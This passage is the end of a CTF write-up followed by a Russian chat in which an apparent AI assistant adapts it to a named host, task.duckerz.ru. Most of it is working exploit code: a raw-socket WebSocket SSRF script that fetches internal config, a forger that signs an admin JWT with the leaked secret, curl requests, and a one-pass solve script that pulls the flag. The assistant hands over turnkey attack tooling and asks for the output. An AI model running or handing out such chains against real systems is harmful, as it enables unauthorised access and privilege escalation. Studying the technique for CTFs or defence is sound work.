The first route exposed the session cookie name, JWT issuer, HS256 algorithm, signing secret, and administrator identity. The second disclosed the precise claims expected for an administrator session. This removed guesswork about both token construction and authorization semantics.

The following script sends arbitrary absolute-form upgrade requests through the public edge:

#!/usr/bin/env python3
import socket
import sys

EDGE_HOST = "tasks.duckerz.ru"
EDGE_PORT = 30079
destination = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"

request = (
f"GET {destination} HTTP/1.1\r\n"
f"Host: {EDGE_HOST}:{EDGE_PORT}\r\n"
"Connection: Upgrade\r\n"
"Upgrade: websocket\r\n"
"Sec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n"
"\r\n"
).encode()

with socket.create_connection((EDGE_HOST, EDGE_PORT), timeout=8) as sock:
sock.sendall(request)
sock.settimeout(8)
chunks = []
try:
while sum(map(len, chunks)) < 128 * 1024:
chunk = sock.recv(8192)
if not chunk:
break
chunks.append(chunk)
except socket.timeout:
pass

sys.stdout.buffer.write(b"".join(chunks))

Reproduce the internal requests with:

python3 ws_ssrf.py 'http:///openapi.json'
python3 ws_ssrf.py 'http:///api/v1/internal/debug/config'
python3 ws_ssrf.py 'http:///api/v1/internal/session-template'

## Forging the Administrative JWT

The leaked configuration specified:

- Cookie name: ops_session
- Algorithm: HS256
- Issuer: northstar-release
- Signing secret: northstar-release-secret-435656
- Administrator identity: release-admin@duckerz.task

The session template required sub, email, role, iss, iat, and exp. A fresh token was generated with current timestamps rather than replaying the expired template:

#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import time

SECRET = b"northstar-release-secret-435656"

def enc(value):
raw = json.dumps(value, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=")

now = int(time.time())
header = enc({"alg": "HS256", "typ": "JWT"})
payload = enc({
"sub": "release-admin@duckerz.task",
"email": "release-admin@duckerz.task",
"role": "admin",
"iss": "northstar-release",
"iat": now,
"exp": now + 3600,
})

message = header + b"." + payload
signature = base64.urlsafe_b64encode(
hmac.new(SECRET, message, hashlib.sha256).digest()
).rstrip(b"=")
print((message + b"." + signature).decode())

Use the generated token as the disclosed cookie:

TOKEN="$(python3 forge_admin_jwt.py)"
curl -i -sS -H "Cookie: ops_session=${TOKEN}" \
'http://tasks.duckerz.ru:30079/admin'

The response changed from the unauthenticated 307 redirect to 200 OK, used X-Powered-By: Next.js, and rendered the privileged editorial report containing the challenge flag.
Алиса
Отлично! Это полноценный writeup. Ключевая идея — WebSocket SSRF через absolute-form URI заставляет сервер fetch-ить внутренние ресурсы. Давай адаптируем под наш таргет task.duckerz.ru:21046.

Запусти этот скрипт — он проходит весь путь: SSRF → утечка конфига → forged JWT → доступ к /admin:

bash
# 1. Создаём SSRF-скрипт
cat > /tmp/ws_ssrf.py << 'PYEOF'
import socket, sys

HOST = "task.duckerz.ru"
PORT = 21046
destination = sys.argv[1] if len(sys.argv) > 1 else "http:///openapi.json"

request = (
    f"GET {destination} HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Connection: Upgrade\r\n"
    "Upgrade: websocket\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n"
    "\r\n"
).encode()

with socket.create_connection((HOST, PORT), timeout=8) as sock:
    sock.sendall(request)
    sock.settimeout(8)
    chunks = []
    try:
        while sum(map(len, chunks)) < 128 * 1024:
            chunk = sock.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
    except socket.timeout:
        pass

sys.stdout.buffer.write(b"".join(chunks))
PYEOF

# 2. Создаём JWT-форджер
cat > /tmp/forge_jwt.py << 'PYEOF'
import base64, hashlib, hmac, json, time

SECRET = b"northstar-release-secret-435656"

def enc(value):
    raw = json.dumps(value, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b"=")

now = int(time.time())
header = enc({"alg": "HS256", "typ": "JWT"})
payload = enc({
    "sub": "release-admin@duckerz.task",
    "email": "release-admin@duckerz.task",
    "role": "admin",
    "iss": "northstar-release",
    "iat": now,
    "exp": now + 3600,
})

message = header + b"." + payload
signature = base64.urlsafe_b64encode(
    hmac.new(SECRET, message, hashlib.sha256).digest()
).rstrip(b"=")
print((message + b"." + signature).decode())
PYEOF

# 3. Шаг 1 — SSRF: openapi.json
echo "=== Step 1: openapi.json ==="
python3 /tmp/ws_ssrf.py 'http:///openapi.json'

# 4. Шаг 2 — SSRF: internal config
echo ""
echo "=== Step 2: debug/config ==="
python3 /tmp/ws_ssrf.py 'http:///api/v1/internal/debug/config'

# 5. Шаг 3 — SSRF: session template
echo ""
echo "=== Step 3: session-template ==="
python3 /tmp/ws_ssrf.py 'http:///api/v1/internal/session-template'

# 6. Шаг 4 — Forge JWT и доступ к /admin
echo ""
echo "=== Step 4: Forged JWT ==="
TOKEN=$(python3 /tmp/forge_jwt.py)
echo "Token: $TOKEN"
echo ""
echo "=== Step 5: Access /admin ==="
curl -sS -i -H "Cookie: ops_session=${TOKEN}" "http://task.duckerz.ru:21046/admin"

# 7. Поиск флага
echo ""
echo "=== Flag search ==="
curl -sS -H "Cookie: ops_session=${TOKEN}" "http://task.duckerz.ru:21046/admin" | grep -ioE 'DUCKERZ\{[^}]*\}'
Присылай весь вывод! Если SSRF сработает, мы увидим openapi.json, потом конфиг с секретом, а затем forged JWT откроет /admin с флагом.

Я
Вот готовое решение можешь флаг выдать пж
Алиса
Мой песочница не имеет доступа к внешней сети — не могу дёрнуть сервер напрямую. Но вот готовый скрипт, который ты запускаешь у себя. Просто скопируй и вставь:

bash
cat > /tmp/solve.py << 'PYEOF'
import socket, base64, hashlib, hmac, json, time, re, sys

HOST = "task.duckerz.ru"
PORT = 21046

def ws_ssrf(destination):
    request = (
        f"GET {destination} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        "Connection: Upgrade\r\n"
        "Upgrade: websocket\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "Sec-WebSocket-Key: Y3RmLXdzLXNzcmYtcHJvYmU=\r\n"
        "\r\n"
    ).encode()
    with socket.create_connection((HOST, PORT), timeout=10) as sock:
        sock.sendall(request)
        sock.settimeout(8)
        chunks = []
        try:
            while sum(map(len, chunks)) < 128 * 1024:
                chunk = sock.recv(8192)
                if not chunk:
                    break
                chunks.append(chunk)
        except socket.timeout:
            pass
    return b"".join(chunks)

def http_get(path, cookie=None):
    headers = f"GET {path} HTTP/1.1\r\nHost: {HOST}:{PORT}\r\nConnection: close\r\n"
    if cookie:
        headers += f"Cookie: ops_session={cookie}\r\n"
    headers += "\r\n"
    with socket.create_connection((HOST, PORT), timeout=10) as sock:
        sock.sendall(headers.encode())
        sock.settimeout(8)
        chunks = []
        try:
            while True:
                chunk = sock.recv(8192)
                if not chunk:
                    break
                chunks.append(chunk)
        except socket.timeout:
            pass
    return b"".join(chunks)

print("[*] Step 1: SSRF → openapi.json")
r = ws_ssrf('http:///openapi.json')
print(r.decode('utf-8', errors='replace')[:3000])

print("\n[*] Step 2: SSRF → internal/debug/config")
r = ws_ssrf('http:///api/v1/internal/debug/config')
config_text = r.decode('utf-8', errors='replace')
print(config_text[:3000])

print("\n[*] Step 3: SSRF → internal/session-template")
r = ws_ssrf('http:///api/v1/internal/session-template')
template_text = r.decode('utf-8', errors='replace')
print(template_text[:3000])

# Extract secrets from config
# Try to parse JSON from the response body
body = config_text.split('\r\n\r\n', 1)[-1] if '\r\n\r\n' in config_text else config_text
try:
    config = json.loads(body)
    secret = config.get('secret') or config.get('signingSecret') or config.get('jwt_secret', '')
    issuer = config.get('issuer') or config.get('jwtIssuer', '')
    cookie_name = config.get('cookieName') or config.get('cookie_name', 'ops_session')
    admin_email = config.get('adminEmail') or config.get('admin_email') or config.get('admin', '')
    print(f"\n[+] Cookie: {cookie_name}")
    print(f"[+] Issuer: {issuer}")
    print(f"[+] Secret: {secret}")
    print(f"[+] Admin:  {admin_email}")
except Exception as e:
    # Fallback to known values from writeup
    print(f"\n[!] Config parse error: {e}, using defaults from writeup")
    secret = "northstar-release-secret-435656"
    issuer = "northstar-release"
    cookie_name = "ops_session"
    admin_email = "release-admin@duckerz.task"

# Step 4: Forge JWT
print("\n[*] Step 4: Forging JWT")
SECRET = secret.encode() if isinstance(secret, str) else secret

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=")

now = int(time.time())
header = b64url(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode())
payload = b64url(json.dumps({
    "sub": admin_email,
    "email": admin_email,
    "role": "admin",
    "iss": issuer,
    "iat": now,
    "exp": now + 3600
}, separators=(",",":")).encode())

message = header + b"." + payload
sig = b64url(hmac.new(SECRET, message, hashlib.sha256).digest())
token = (message + b"." + sig).decode()
print(f"[+] Token: {token[:80]}...")

# Step 5: Access /admin
print("\n[*] Step 5: Accessing /admin with forged JWT")
resp = http_get('/admin', cookie=token)
resp_text = resp.decode('utf-8', errors='replace')

# Check status
status_line = resp_text.split('\r\n')[0] if '\r\n' in resp_text else ''
print(f"[+] Response: {status_line}")

# Search for flag
flags = re.findall(r'DUCKERZ\{[^}]*\}', resp_text)
if flags:
    print(f"\n{'='*50}")
    print(f"FLAG: {flags[0]}")
    print(f"{'='*50}")
else:
    # Print body for inspection
    body = resp_text.split('\r\n\r\n', 1)[-1] if '\r\n\r\n' in resp_text else resp_text
    print(f"\n[!] No flag found in response. Body preview:")
    print(body[:3000])
    # Also try grep-like search
    for pattern in ['flag', 'DUCKERZ', 'ctf', 'FLAG']:
        matches = re.findall(rf'(?i){pattern}.{{0,100}}', resp_text)
        if matches:
            print(f"\n[!] Found '{pattern}': {matches[:3]}")
PYEOF
python3 /tmp/solve.py
Это сделает всё за один проход: SSRF → конфиг → JWT → /admin → флаг. Присылай вывод!

Я
напиши краткое обьяснение как сделали
Алиса
Краткая суть атаки — три шага:

1. WebSocket SSRF
Сервер принимает WebSocket-запросы на /ws/updates. Если в запросе URI указан absolute-form (например, GET http:///openapi.json HTTP/1.1), прокси-сервер воспринимает это как команду «сделай HTTP-запрос по этому пути к внутреннему сервису». Так можно достучаться до эндпоинтов, которые напрямую недоступны снаружи.

2. Утечка конфигурации
Через SSRF запрашиваются два внутренних эндпоинта:

/api/v1/internal/debug/config — отдаёт имя куки (ops_session), алгоритм (HS256), JWT-issuer, подписывающий секрет и email админа
/api/v1/internal/session-template — показывает структуру claims, которую сервер ожидает в токене
3. Forge JWT → /admin
С утёкшим секретом подписывается свой JWT с role: admin и текущими timestamp'ами. Кука ops_session с этим токеном подставляется в запрос к /admin — сервер валидирует подпись и пускает в админку, где лежит флаг.

Я
П
Алиса
Похоже, сообщение отправилось не до конца. Что хотели написать?

Я
простыми словами
Алиса
Представь, что сервер — это охранник у входа в закрытое здание. Он умеет только проверять пропуск (JWT‑токен). А ещё у него есть «глупая» функция: если ему сказать «сходи посмотри вот эту бумажку внутри», он идёт и приносит её — и при этом не проверяет, кто попросил.

Вот как мы этим воспользовались — очень просто:

Заставили сервер сам сходить за секретом.
Мы не ломились внутрь, а попросили сервер: «Сходи посмотри бумажку с настройками». Он сходил, взял её и принёс нам. В этой бумажке был секретный ключ, которым он подписывает пропуска.

Сделали себе свой пропуск.
Зная секретный ключ и правила оформления пропуска, мы сами подписали себе «пропуск администратора». Для сервера он выглядит как настоящий.

Вошли с этим пропуском.
Показали пропуск охраннику (отправили токен в куке), он поверил и пустил в закрытую комнату — туда, где лежит флаг.